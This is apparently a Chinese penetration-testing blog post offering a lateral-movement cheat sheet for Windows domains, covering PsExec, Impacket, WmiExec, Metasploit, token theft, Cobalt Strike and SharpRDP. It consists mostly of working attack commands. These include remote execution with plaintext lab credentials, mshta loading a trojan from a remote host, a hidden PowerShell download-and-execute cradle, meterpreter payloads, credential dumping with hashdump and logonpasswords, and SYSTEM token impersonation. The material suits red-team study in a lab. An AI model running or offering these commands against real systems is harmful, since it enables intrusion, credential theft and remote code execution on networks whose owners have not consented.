外部工具横向移动

发布于 2021-07-26  1251 次阅读


《渗透测试》目录

一、PsExec    (微软官方工具)

1.PsExec简介

PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。    

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

原理:

  1. ipc$连接,释放Psexesvc.exe
  2. OpenSCManager打开受害者机器上服务控制管理器的句柄
  3. CreateService创建服务
  4. 获取服务句柄OpenService使用StartService启动服务

2.PsExec使用

(1)建立IPC连接,使用PsExec无需输入密码:

net use \\IP /u:域名称\域账号 密码

(2)反弹cmd:

psexec.exe \\10.10.10.201 -s cmd.exe -accepteula

(3)执行命令:

psexec.exe \\10.10.10.201 whoami -accepteula

注意:第一次运行会弹框,加 -accepteula 参数可绕过。在meterpreter的shell中执行会报错。

beacon> shell psexec.exe \\10.10.10.201 -u de1ay\Administrator -p 1qaz@WSX3e whoami        (命令测试)
beacon> shell psexec.exe \\10.10.10.201 -u de1ay\Administrator -p 1qaz@WSX3e mshta http://192.168.78.117:8088/download/file.ext      (通过mshta执行木马文件,注意不要添加双引号否则会报"系统找不到指定的文件"的错误)

(4)PsExec重要参数(简便方法)

PsExec.exe \\10.10.10.201 -u administrator -p 1qaz@WSX -c c:\bea32.exe -d
-c <[路径]文件名>:拷贝文件到远程机器并运行            (注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回

3.psexec.py    (需要靶机有python环境,或者自己主机使用代理将命令传输过去)

https://github.com/maaaaz/impacket-examples-windows

https://github.com/SecureAuthCorp/impacket    

Impacket工具包中的psexec.py与官方PsExec.exe相比会自动删除服务,增加隐蔽性。

(1)执行命令:

psexec.exe de1ay/administrator:1qaz@WSX3e@10.10.10.201 whoami      (注意正斜杠)

(2)交互式命令行:

psexec.py de1ay/administrator:1qaz@WSX3e@10.10.10.201    (msf和cs无法使用交互式命令)

4.SmbExec(同上)

smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。

smbexec.py de1ay/administrator:1qaz@WSX3e@10.10.10.201

二、WmiExec

1.WmiExec

(1)单命令执行

cscript.exe //nologo wmiexec.vbs /cmd ip username password "command"        (//nologo消除弹窗)

wmiexec.vps:https://raw.githubusercontent.com/Twi1ight/AD-Pentest-Script/master/wmiexec.vbs   

wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一线vbs里面的名字就可以解决:Const FileName = "wmi.dll",也可以加入-persist参数后台运行。

2.WmiExec

(1)半交互模式(不适用于msf和cs)

shell cscript.exe //nologo c:\wmiexec.vbs /shell ip username password

三、MetaSploit

1.psexec_command    (通常用于批量验证得到的账号密码是否可以横向移动)

auxiliary/admin/smb/psexec_command

set rhosts 10.10.10.201
set smbdomain de1ay        (指定域名,如果获得的是工作组,则设为默认即可)
set smbuser administrator
set smbpass 1qaz@WSX
set command whoami
run

2.psexec    (批量反弹shell)

exploit/windows/smb/psexec

set rhosts 10.10.10.201
set smbdomain de1ay
set smbuser administrator
set smbpass 1qaz@WSX
set payload windows/x64/meterpreter/bind_tcp        (注意是正向shell)
run

3.ms17_010_command

auxiliary/admin/smb/ms17_010_command

4.Token窃取:    

Windows有两种类型的Token:

  • Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
  • Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

两种token只在系统重启后清除。

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。    

在Metasploit中,可使用incognito实现token窃取,Metasploit中的incognito,是从windows平台下的incognito移植过来的。

加载incognito模块:
load incognito
列举token:
list_tokens -u
查看当前token:
getuid
提权至system权限:
getsystem
token窃取:
impersonate_token "NT AUTHORITY\\SYSTEM"
从进程窃取token:
steal_token 4500            (进程ID)
返回之前token:
rev2self、drop_token  

在cs中可通过上传可执行脚本进行利用:https://github.com/milkdevil/incognito2


四、CobaltStrike

1.CS获取凭证

hashdump
logonpasswords

2.扫描存活主机

PortScan扫描存活主机:

portscan 10.10.10.0-10.10.10.255 21,22,80,3389,445 arp 1024

3.PsExec


五、SharpRDP

1.SharpRDP:https://github.com/0xthirteen/SharpRDP   (需编译后使用)

SharpRDP - 远程桌面协议控制台应用程序,可用于对横向目标执行针对远程目标的经过身份验证的命令执行。

SharpRDP.exe computername=172.26.2.43 command="powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://ip:端口/a'))\"" username=MINGY\WIN7-1 password=qwer123

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。